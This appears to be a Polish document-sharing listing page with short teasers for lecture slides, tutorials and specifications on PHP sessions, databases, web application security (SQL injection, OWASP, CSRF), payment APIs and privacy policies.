Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do Sesje i ciasteczka Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do śledzenia użytkownika podczas jednej sesji

Bardziej szczegółowo

6. Bezpieczeństwo przy współpracy z bazami danych

6. Bezpieczeństwo przy współpracy z bazami danych 6. Bezpieczeństwo przy współpracy z bazami danych 6.1. Idea ataku SQL injection Atak znany jako SQL injection jest możliwy wtedy, gdy użytkownik ma bezpośredni wpływ na postać zapytania wysyłanego do bazy

Bardziej szczegółowo

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja ZPKSoft WDoradca 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja 1. Wstęp ZPKSoft WDoradca jest technologią dostępu przeglądarkowego do zasobów systemu ZPKSoft Doradca.

Bardziej szczegółowo

Języki programowania wysokiego poziomu. Ćwiczenia

Języki programowania wysokiego poziomu. Ćwiczenia Języki programowania wysokiego poziomu Ćwiczenia Języki programowania Ćwiczenia Strukturalny HTML Arkusze CSS Formularze HTML i PHP Baza danych MySQL Forum internetowe Strukturalny HTML Zadania Dokument

Bardziej szczegółowo

KONFIGURACJA PRZEGLĄDAREK. Poniższa konfiguracja dedykowana jest dla Bankowości Internetowej SGB

KONFIGURACJA PRZEGLĄDAREK. Poniższa konfiguracja dedykowana jest dla Bankowości Internetowej SGB KONFIGURACJA PRZEGLĄDAREK Poniższa konfiguracja dedykowana jest dla Bankowości Internetowej SGB Spis treści Konfiguracja przeglądarki Internet Explorer 8.0... 2 Konfiguracja przeglądarki Internet Explorer

Bardziej szczegółowo

Kurs rozszerzony języka Python

Kurs rozszerzony języka Python Środowisko Django, cz. 3 19 stycznia 2018 Plan wykładu 1 2 Konstrukcja formularzy Walidacja i zapis 3 Ograniczenie dostępu 4 Plan wykładu 1 2 Konstrukcja formularzy Walidacja i zapis 3 Ograniczenie dostępu

Bardziej szczegółowo

Zajęcia 11 wykorzystanie MySQL w PHP

Zajęcia 11 wykorzystanie MySQL w PHP Zajęcia 11 wykorzystanie MySQL w PHP MySQL MySQL jest jednym z najpopularniejszych wolnodostępnych systemów zarządzania relacyjnymi bazami danych. Głównym jego załoŝeniem była szybkość działania, toteŝ

Bardziej szczegółowo

SQL z perspektywy hakera - czy Twoje dane są bezpieczne? Krzysztof Bińkowski MCT,CEI,CEH,ECSA,ECIH,CLFE,MCSA,MCSE..

SQL z perspektywy hakera - czy Twoje dane są bezpieczne? Krzysztof Bińkowski MCT,CEI,CEH,ECSA,ECIH,CLFE,MCSA,MCSE.. SQL z perspektywy hakera - czy Twoje dane są bezpieczne? Krzysztof Bińkowski MCT,CEI,CEH,ECSA,ECIH,CLFE,MCSA,MCSE.. Cel prezentacji Spojrzymy na dane i serwery SQL z perspektywy cyberprzestępcy, omówimy

Bardziej szczegółowo

Udostępnianie klientom zasobów serwera

Udostępnianie klientom zasobów serwera Wykład11PHP szczegółyintymne,str1 Udostępnianie klientom zasobów serwera SERWER programy w PHP Wykład11PHP szczegółyintymne,str2 Udostępnianie klientom zasobów serwera Serwer wykonuje obliczenia zlecone

Bardziej szczegółowo

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web Opracował: dr inŝ. Mariusz Stawowski F5 Certified Product Consultant, ASM Email: mariusz.stawowski@clico.pl Zabezpieczenia sieciowe Firewall i Intrusion Prevention System (IPS) są podstawą do tworzenia

Bardziej szczegółowo

Specyfikacja instalacji usługi SMS Premium w Przelewy24.pl

Specyfikacja instalacji usługi SMS Premium w Przelewy24.pl Specyfikacja instalacji usługi SMS Premium w Przelewy24.pl wersja.2.9 data 2014-11-21 Opis usług: P24 KOD P24 KLUCZ P24 WAPA SEND SMS Strona 1 z 8 P24 KOD Przebieg transakcji Operacje po stronie Sprzedawcy

Bardziej szczegółowo

Udostępnianie klientom zasobów serwera

Udostępnianie klientom zasobów serwera Wykład11PHP szczegółyintymne,str1 Udostępnianie klientom zasobów serwera SERWER programy w PHP Wykład11PHP szczegółyintymne,str1 Udostępnianie klientom zasobów serwera KLIENT SERWER programy w PHP witryny

Bardziej szczegółowo

Pawel@Kasprowski.pl Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Pawel@Kasprowski.pl Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07 PHP i bazy danych Paweł Kasprowski pawel@kasprowski.pl Użycie baz danych Bazy danych używane są w 90% aplikacji PHP Najczęściej jest to MySQL Funkcje dotyczące baz danych używają języka SQL Przydaje się

Bardziej szczegółowo

Wykład 5: PHP: praca z bazą danych MySQL

Wykład 5: PHP: praca z bazą danych MySQL Wykład 5: PHP: praca z bazą danych MySQL Architektura WWW Podstawowa: dwuwarstwowa - klient (przeglądarka) i serwer WWW Rozszerzona: trzywarstwowa - klient (przeglądarka), serwer WWW, serwer bazy danych

Bardziej szczegółowo

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe -

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe - Aplikacje internetowe - Zagrożenia i metody ataku Wojciech Dworakowski Agenda Aplikacja internetowa Trywialne zagrożenia Ukryte parametry Brak obsługi błędów Manipulacje parametrami doklejanie parametrów

Bardziej szczegółowo

Open(Source) Web Application Security Project

Open(Source) Web Application Security Project Open(Source) Web Application Security Project 2014-05-14 Wojciech Dworakowski, SecuRing Poland Chapter Leader Copyright The Foundation Permission is granted to copy, distribute and/or modify this document

Bardziej szczegółowo

Internetowe bazy danych

Internetowe bazy danych Wyższa Szkoła Technologii Teleinformatycznych w Świdnicy Internetowe bazy danych wykład 7 dr inż. Jacek Mazurkiewicz e-mail: Jacek.Mazurkiewicz@pwr.wroc.pl Sesje i stan aplikacji w kategorii czasu okres

Bardziej szczegółowo

PROGRAM NAUCZANIA DLA ZAWODU TECHNIK INFORMATYK, 351203 O STRUKTURZE PRZEDMIOTOWEJ

PROGRAM NAUCZANIA DLA ZAWODU TECHNIK INFORMATYK, 351203 O STRUKTURZE PRZEDMIOTOWEJ PROGRAM NAUCZANIA DLA ZAWODU TECHNIK INFORMATYK, 351203 O STRUKTURZE PRZEDMIOTOWEJ Systemy baz danych 1. 2 Wstęp do baz danych 2. 2 Relacyjny model baz danych. 3. 2 Normalizacja baz danych. 4. 2 Cechy

Bardziej szczegółowo

Program szkolenia: Bezpieczny kod - podstawy

Program szkolenia: Bezpieczny kod - podstawy Program szkolenia: Bezpieczny kod - podstawy Informacje: Nazwa: Kod: Kategoria: Grupa docelowa: Czas trwania: Forma: Bezpieczny kod - podstawy Arch-Sec-intro Bezpieczeństwo developerzy 3 dni 75% wykłady

Bardziej szczegółowo

ZAŁĄCZNIK Nr 1 do CZĘŚCI II SIWZ

ZAŁĄCZNIK Nr 1 do CZĘŚCI II SIWZ ZAŁĄCZNIK Nr 1 do CZĘŚCI II SIWZ WYMAGANIA BEZPIECZEŃSTWA DLA SYSTEMÓW IT Wyciąg z Polityki Bezpieczeństwa Informacji dotyczący wymagań dla systemów informatycznych. 1 Załącznik Nr 1 do Część II SIWZ SPIS

Bardziej szczegółowo

ZAŁĄCZNIK Nr 3 do CZĘŚCI II SIWZ

ZAŁĄCZNIK Nr 3 do CZĘŚCI II SIWZ ZAŁĄCZNIK Nr 3 do CZĘŚCI II SIWZ WYMAGANIA BEZPIECZEŃSTWA DLA SYSTEMÓW IT Wyciąg z Polityki Bezpieczeństwa Informacji dotyczący wymagań dla systemów informatycznych. 1 Załącznik Nr 3 do Część II SIWZ Wymagania

Bardziej szczegółowo

Dokumentacja systemu NTP rekrut. Autor: Sławomir Miller

Dokumentacja systemu NTP rekrut. Autor: Sławomir Miller Dokumentacja systemu NTP rekrut Autor: Sławomir Miller 1 Spis treści: 1. Wstęp 1.1 Wprowadzenie 1.2 Zakres dokumentu 2. Instalacja 2.1 Wymagania systemowe 2.2 Początek 2.3 Prawa dostępu 2.4 Etapy instalacji

Bardziej szczegółowo

Narzędzia OWASP dla developerów OWASP ESAPI & AppSensor OWASP 2011-11-23. The OWASP Foundation http://www.owasp.org

Narzędzia OWASP dla developerów OWASP ESAPI & AppSensor OWASP 2011-11-23. The OWASP Foundation http://www.owasp.org Narzędzia dla developerów ESAPI & AppSensor 2011-11-23 Wojciech Dworakowski Poland Chapter Leader SecuRing wojciech.dworakowski@owasp.org +48506184550 Copyright The Foundation Permission is granted to

Bardziej szczegółowo

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do Sesje i ciasteczka Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do śledzenia użytkownika podczas jednej sesji

Bardziej szczegółowo

ASP.NET MVC. Podstawy. Zaawansowane programowanie internetowe Instrukcja nr 3

ASP.NET MVC. Podstawy. Zaawansowane programowanie internetowe Instrukcja nr 3 3 ASP.NET MVC Podstawy 1 1. Cel zajęć Celem zajęć jest zapoznanie się z podstawami ASP.NET MVC 2.0 Framework. 2. Zadanie Proszę zbudować prostą aplikację WWW przy zastosowaniu framework a ASP.NET MVC 2.0

Bardziej szczegółowo

Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji.

Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji. Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji a.klesnicki@gmail.com Potrzeba 75% udanych ataków z Internetu wykorzystuje dziury w aplikacja webowych Rozwiązania Jak możemy się chronić?

Bardziej szczegółowo

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych Szkolenie przeznaczone jest dla osób chcących poszerzyć swoje umiejętności o tworzenie rozwiązań internetowych w PHP. Zajęcia zostały przygotowane w taki sposób, aby po ich ukończeniu można było rozpocząć

Bardziej szczegółowo

Aplikacje WWW - laboratorium

Aplikacje WWW - laboratorium Aplikacje WWW - laboratorium PHP. Celem ćwiczenia jest przygotowanie prostej aplikacji internetowej wykorzystującej technologię PHP. Aplikacja pokazuje takie aspekty, obsługa formularzy oraz zmiennych

Bardziej szczegółowo

Programowanie komponentowe. Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Programowanie komponentowe. Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz Programowanie komponentowe Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz Struktura wykładu 1. Utworzenie użytkowników i ról na serwerze aplikacji Sun Java System Application

Bardziej szczegółowo

Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór

Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór S t r o n a ǀ 1 z 5 Załącznik nr 1 do zapytania ofertowego Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór I. Definicje. 1. Dostawca

Bardziej szczegółowo

Aplikacje internetowe

Aplikacje internetowe Laboratorium 6 ZAKŁAD SYSTEMÓW ROZPROSZONYCH LABORATORIUM Aplikacje internetowe PHP + MySQL + biblioteka GD 1. Sprawdź czy istnieją pliki z poprzedniego laboratorium: cw_2.php, cw_3.php i cw_4.php. Przypomnij

Bardziej szczegółowo

Wykład 3 Inżynieria oprogramowania. Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Wykład 3 Inżynieria oprogramowania. Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz Wykład 3 Inżynieria oprogramowania Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz Struktura wykładu 1. Utworzenie użytkowników i ról na serwerze aplikacji Sun Java System

Bardziej szczegółowo

Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science Systemy internetowe Wykład 5 Architektura WWW Architektura WWW Serwer to program, który: Obsługuje repozytorium dokumentów Udostępnia dokumenty klientom Komunikacja: protokół HTTP Warstwa klienta HTTP

Bardziej szczegółowo

(Pluggable Authentication Modules). Wyjaśnienie technologii.

(Pluggable Authentication Modules). Wyjaśnienie technologii. Bezpieczeństwo systemów komputerowych. Temat seminarium: Moduły PAM (Pluggable Authentication Modules). Wyjaśnienie technologii Autor: Bartosz Hetmański Moduły PAM (Pluggable Authentication Modules). Wyjaśnienie

Bardziej szczegółowo

Aplikacje internetowe - laboratorium

Aplikacje internetowe - laboratorium Aplikacje internetowe - laboratorium PHP Celem ćwiczenia jest przygotowanie prostej aplikacji internetowej opartej o język PHP. Aplikacja ilustruje takie mechanizmy jak: obsługa formularzy oraz obsługa

Bardziej szczegółowo

Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka

Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka Sesje, ciasteczka, wyjątki Nie sposób wyobrazić sobie bez nich takich podstawowych zastosowań, jak logowanie użytkowników czy funkcjonowanie koszyka na zakupy. Oprócz tego dowiesz się, czym są wyjątki,

Bardziej szczegółowo

Krótka instrukcja instalacji

Krótka instrukcja instalacji Krótka instrukcja instalacji Spis treści Krok 1 Pobieranie plików instalacyjnych Krok 2 Ekran powitalny Krok 3 Umowa licencyjna Krok 4 Wybór miejsca instalacji Krok 5 Informacje rejestracyjne Krok 6 Rozpoczęcie

Bardziej szczegółowo

ZASADY KORZYSTANIA Z PLIKÓW COOKIES ORAZ POLITYKA PRYWATNOŚCI W SERWISIE INTERNETOWYM PawłowskiSPORT.pl

ZASADY KORZYSTANIA Z PLIKÓW COOKIES ORAZ POLITYKA PRYWATNOŚCI W SERWISIE INTERNETOWYM PawłowskiSPORT.pl ZASADY KORZYSTANIA Z PLIKÓW COOKIES ORAZ POLITYKA PRYWATNOŚCI W SERWISIE INTERNETOWYM PawłowskiSPORT.pl Niniejsze zasady dotyczą wszystkich Użytkowników strony internetowej funkcjonującej w domenie http://www.pawlowskisport.pl,

Bardziej szczegółowo

Serwer SSH. Wprowadzenie do serwera SSH Instalacja i konfiguracja Zarządzanie kluczami

Serwer SSH. Wprowadzenie do serwera SSH Instalacja i konfiguracja Zarządzanie kluczami Serwer SSH Serwer SSH Wprowadzenie do serwera SSH Instalacja i konfiguracja Zarządzanie kluczami Serwer SSH - Wprowadzenie do serwera SSH Praca na odległość potrzeby w zakresie bezpieczeństwa Identyfikacja

Bardziej szczegółowo

Szczegółowy opis zamówienia:

Szczegółowy opis zamówienia: Szczegółowy opis zamówienia: Rok 2016 budowa stron w html5 (8h v + 4h ćw) 8 szt. html5 - zaawans. (7h v + 5h ćw) 8 szt. programowania w java script (9h v + 7h ćw) 8 szt. java script zaawans (8h v + 4h

Bardziej szczegółowo

Gatesms.eu Mobilne Rozwiązania dla biznesu

Gatesms.eu Mobilne Rozwiązania dla biznesu Mobilne Rozwiązania dla biznesu SPECYFIKACJA TECHNICZNA WEB API-USSD GATESMS.EU wersja 0.9 Opracował: Gatesms.eu Spis Historia wersji dokumentu...3 Bezpieczeństwo...3 Wymagania ogólne...3 Mechanizm zabezpieczenia

Bardziej szczegółowo

Dokumentacja techniczna API systemu SimPay.pl

Dokumentacja techniczna API systemu SimPay.pl Wprowadzenie Dokumentacja techniczna API systemu SimPay.pl Wersja 1.0 z dnia 24.03.2015 r. API serwisu SimPay.pl opiera się o danych wysyłanych i zwracanych w formie JSON. W przypadku napotkania jakiegokolwiek

Bardziej szczegółowo

11. Autoryzacja użytkowników

11. Autoryzacja użytkowników 11. Autoryzacja użytkowników Rozwiązanie NETASQ UTM pozwala na wykorzystanie trzech typów baz użytkowników: Zewnętrzna baza zgodna z LDAP OpenLDAP, Novell edirectory; Microsoft Active Direcotry; Wewnętrzna

Bardziej szczegółowo

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF O mnie 12 lat doświadczenia w systemach WEB Java/JEE (ISC) 2 CISSP CTO w J-LABS GET / HTTP/1.1 Host: bank.pl User-Agent: Mozilla/5.0

Bardziej szczegółowo

Programowanie w Internecie

Programowanie w Internecie mariusz@math.uwb.edu.pl http://math.uwb.edu.pl/~mariusz Uniwersytet w Białymstoku 2018/2019 Serwer HTTP Najbardziej popularne serwery HTTP: Apache nginx Microsoft IIS Lite Speed GWS Google Statystyki Netcraft:

Bardziej szczegółowo

Podstawy JavaScript ćwiczenia

Podstawy JavaScript ćwiczenia Podstawy JavaScript ćwiczenia Kontekst:

Bardziej szczegółowo

Bazy danych i usługi sieciowe

Bazy danych i usługi sieciowe Bazy danych i usługi sieciowe Bezpieczeństwo Paweł Daniluk Wydział Fizyki Jesień 2014 P. Daniluk (Wydział Fizyki) BDiUS w. X Jesień 2014 1 / 27 Bezpieczeństwo Zabezpiecza się transmisje zasoby aplikacje

Bardziej szczegółowo

DESlock+ szybki start

DESlock+ szybki start DESlock+ szybki start Wersja centralnie zarządzana Wersja bez centralnej administracji standalone WAŻNE! Pamiętaj, że jeśli chcesz korzystać z centralnego zarządzania koniecznie zacznij od instalacji serwera

Bardziej szczegółowo

Języki programowania wysokiego poziomu. Forum

Języki programowania wysokiego poziomu. Forum Języki programowania wysokiego poziomu Forum Elementy obowiązkowe (2p.) Wyświetlanie wpisów Logowanie/wylogowanie Dodawanie wpisów Rejestracja użytkowników Elementy obowiązkowe (2p.) Wyświetlanie wpisów

Bardziej szczegółowo

Aplikacje WWW. Wykład 13. Zagrożenia bezpieczeństwa aplikacji WWW. wykład prowadzi: Maciej Zakrzewicz. Zagrożenia bezpieczeństwa

Aplikacje WWW. Wykład 13. Zagrożenia bezpieczeństwa aplikacji WWW. wykład prowadzi: Maciej Zakrzewicz. Zagrożenia bezpieczeństwa Wykład 13 Zagrożenia bezpieczeństwa aplikacji WWW wykład prowadzi: Maciej Zakrzewicz Zagrożenia bezpieczeństwa 1 Plan wykładu Przegląd wybranych metod ataków kradzież kodu źródłowego pola ukryte HTML zmienne

Bardziej szczegółowo

Języki programowania wysokiego poziomu. Blog

Języki programowania wysokiego poziomu. Blog Języki programowania wysokiego poziomu Blog Elementy obowiązkowe (2p.) Wyświetlanie wpisów Logowanie/wylogowanie Dodawanie wpisów Elementy obowiązkowe (2p.) Wyświetlanie wpisów - wszystkie wpisy na jednej

Bardziej szczegółowo

SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa

SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa Metody włamań do systemów komputerowych SQL injection Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl Metody włamań do

Bardziej szczegółowo

Aplikacje www laboratorium

Aplikacje www laboratorium Aplikacje www laboratorium Konfigurowanie zabezpieczeń w oparciu o JAAS w serwerze GlassFish Zabezpieczanie aplikacji webowych z wykorzystaniem JASS jest w podstawowych zastosowaniach procesem dwuetapowym.

Bardziej szczegółowo

Bezpieczeństwo aplikacji WWW. Klasyfikacja zgodna ze standardem OWASP. Zarządzanie podatnościami

Bezpieczeństwo aplikacji WWW. Klasyfikacja zgodna ze standardem OWASP. Zarządzanie podatnościami Bezpieczeństwo aplikacji WWW Klasyfikacja zgodna ze standardem OWASP Zarządzanie podatnościami Tomasz Zawicki tomasz.zawicki@passus.com.pl Pojawianie się nowych podatności I. Identyfikacja podatności II.

Bardziej szczegółowo

Referat z przedmiotu Technologie Internetowe SPIS TREŚCI

Referat z przedmiotu Technologie Internetowe SPIS TREŚCI SPIS TREŚCI 1.Dwie metody przekazu danych do serwera 2 2.Metoda GET przykład 3 3.Metoda POST przykład 4 4.Kiedy GET a kiedy POST 5 5.Szablony po co je stosować 7 6.Realizacja szablonu własną funkcją 8

Bardziej szczegółowo

Kielce, dnia 27.02.2012 roku. HB Technology Hubert Szczukiewicz. ul. Kujawska 26 / 39 25-344 Kielce

Kielce, dnia 27.02.2012 roku. HB Technology Hubert Szczukiewicz. ul. Kujawska 26 / 39 25-344 Kielce Kielce, dnia 27.02.2012 roku HB Technology Hubert Szczukiewicz ul. Kujawska 26 / 39 25-344 Kielce Tytuł Projektu: Wdrożenie innowacyjnego systemu dystrybucji usług cyfrowych, poszerzenie kanałów sprzedaży

Bardziej szczegółowo

Dokumentacja SMS przez FTP

Dokumentacja SMS przez FTP Dokumentacja SMS przez FTP 1 Wprowadzenie... 2 Właściwości plików... 3 Tworzenie konfiguracji w Panelu Klienta... 4 Raporty doręczeń... 5 Historia zmian... 6 2 Wprowadzenie Usługa wysyłki SMS przez FTP

Bardziej szczegółowo

Bazy Danych i Usługi Sieciowe

Bazy Danych i Usługi Sieciowe Bazy Danych i Usługi Sieciowe Język PHP Paweł Witkowski Wydział Matematyki, Informatyki i Mechaniki Jesień 2011 P. Witkowski (Wydział Matematyki, Informatyki i Mechaniki) BDiUS w. VIII Jesień 2011 1 /

Bardziej szczegółowo

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych: PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych: MySQL moduł mysql albo jego nowsza wersja mysqli (moduł mysqli ma dwa interfejsy: proceduralny i obiektowy) PostgreSQL Oracle MS

Bardziej szczegółowo

Programowanie w Sieci Internet Python - c. d. Kraków, 28 listopada 2014 r. mgr Piotr Rytko Wydział Matematyki i Informatyki

Programowanie w Sieci Internet Python - c. d. Kraków, 28 listopada 2014 r. mgr Piotr Rytko Wydział Matematyki i Informatyki Programowanie w Sieci Internet Python - c. d. Kraków, 28 listopada 2014 r. mgr Piotr Rytko Wydział Matematyki i Informatyki Co dziś będziemy robić Uwierzytelnianie użytkowników, Obiekt session, Silniki

Bardziej szczegółowo

Oracle Application Express -

Oracle Application Express - Oracle Application Express - Wprowadzenie Wprowadzenie Oracle Application Express (dawniej: HTML DB) to narzędzie do szybkiego tworzenia aplikacji Web owych korzystających z bazy danych Oracle. Od użytkownika

Bardziej szczegółowo

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi 1 Rozdział 1 Wprowadzenie do PHP i MySQL Opis: W tym rozdziale kursanci poznają szczegółową charakterystykę

Bardziej szczegółowo

POLITYKA PRYWATNOŚCI SERWIS:

POLITYKA PRYWATNOŚCI SERWIS: POLITYKA PRYWATNOŚCI - SERWIS: WWW.HIPOTEKA-GOTOWKA.PL Polityka Prywatności jest zbiorem reguł, które mają na celu poinformowanie Użytkowników tego Serwisu o wszelkich aspektach pozyskiwania, przetwarzania

Bardziej szczegółowo

Specyfikacja 1.2.1. Płatności CashBill. Instrukcja podłączenia płatności elektronicznych do typowych zastosowań.

Specyfikacja 1.2.1. Płatności CashBill. Instrukcja podłączenia płatności elektronicznych do typowych zastosowań. Specyfikacja 1.2.1 Płatności CashBill Instrukcja podłączenia płatności elektronicznych do typowych zastosowań. CashBill Spółka Akcyjna ul. Rejtana 20, 41-300 Dąbrowa Górnicza Tel.: +48 032 764-18-42 Fax:

Bardziej szczegółowo

Przygotowanie do nowoczesnego programowania po stronie przeglądarki. (HTML5, CSS3, JS, wzorce, architektura, narzędzia)

Przygotowanie do nowoczesnego programowania po stronie przeglądarki. (HTML5, CSS3, JS, wzorce, architektura, narzędzia) Program szkolenia: Przygotowanie do nowoczesnego programowania po stronie przeglądarki (HTML5, CSS3, JS, wzorce, architektura, narzędzia) Informacje: Nazwa: Kod: Kategoria: Grupa docelowa: Czas trwania:

Bardziej szczegółowo

4. Podstawowa konfiguracja

4. Podstawowa konfiguracja 4. Podstawowa konfiguracja Po pierwszym zalogowaniu się do urządzenia należy zweryfikować poprawność licencji. Można to zrobić na jednym z widżetów panelu kontrolnego. Wstępną konfigurację można podzielić

Bardziej szczegółowo

POLITYKA PRYWATNOŚCI ORAZ ZASADY PRZETWARZANIA DANYCH OSOBOWYCH

POLITYKA PRYWATNOŚCI ORAZ ZASADY PRZETWARZANIA DANYCH OSOBOWYCH POLITYKA PRYWATNOŚCI ORAZ ZASADY PRZETWARZANIA DANYCH OSOBOWYCH IPMS spółka z ograniczoną odpowiedzialnością ( IPMS ) dokłada wszelkich starań by chronić Państwa dane osobowe przed nieuprawnionym dostępem

Bardziej szczegółowo

Technologie Internetowe Raport z wykonanego projektu Temat: Internetowy sklep elektroniczny

Technologie Internetowe Raport z wykonanego projektu Temat: Internetowy sklep elektroniczny Technologie Internetowe Raport z wykonanego projektu Temat: Internetowy sklep elektroniczny AiRIII gr. 2TI sekcja 1 Autorzy: Tomasz Bizon Józef Wawrzyczek 2 1. Wstęp Celem projektu było stworzenie sklepu

Bardziej szczegółowo

Szczegółowy opis przedmiotu zamówienia:

Szczegółowy opis przedmiotu zamówienia: Załącznik nr 1 do SIWZ Szczegółowy opis przedmiotu zamówienia: I. Opracowanie polityki i procedur bezpieczeństwa danych medycznych. Zamawiający oczekuje opracowania Systemu zarządzania bezpieczeństwem

Bardziej szczegółowo

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań, 04.03.2010

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań, 04.03.2010 Bezpieczeństwo interoperacyjnego hostingu Gerard Frankowski, Zespół Bezpieczeństwa PCSS 4. Konferencja MIC Nowoczesne technologie bliżej nas Poznań, 04.03.2010 1 Agenda Wprowadzenie Zespół Bezpieczeństwa

Bardziej szczegółowo

ActiveXperts SMS Messaging Server

ActiveXperts SMS Messaging Server ActiveXperts SMS Messaging Server ActiveXperts SMS Messaging Server to oprogramowanie typu framework dedykowane wysyłaniu, odbieraniu oraz przetwarzaniu wiadomości SMS i e-mail, a także tworzeniu własnych

Bardziej szczegółowo

POLITYKA PRYWATNOŚCI ORAZ POLITYKA PLIKÓW COOKIES W Sowa finanse

POLITYKA PRYWATNOŚCI ORAZ POLITYKA PLIKÓW COOKIES W Sowa finanse POLITYKA PRYWATNOŚCI ORAZ POLITYKA PLIKÓW COOKIES W Sowa finanse I. Definicje Niżej wymienione pojęcia użyte w Polityce prywatności lub Polityce Plików cookies należy rozumieć następująco: Administrator

Bardziej szczegółowo

Plan. Wprowadzenie. Co to jest APEX? Wprowadzenie. Administracja obszarem roboczym

Plan. Wprowadzenie. Co to jest APEX? Wprowadzenie. Administracja obszarem roboczym 1 Wprowadzenie do środowiska Oracle APEX, obszary robocze, użytkownicy Wprowadzenie Plan Administracja obszarem roboczym 2 Wprowadzenie Co to jest APEX? Co to jest APEX? Architektura Środowisko Oracle

Bardziej szczegółowo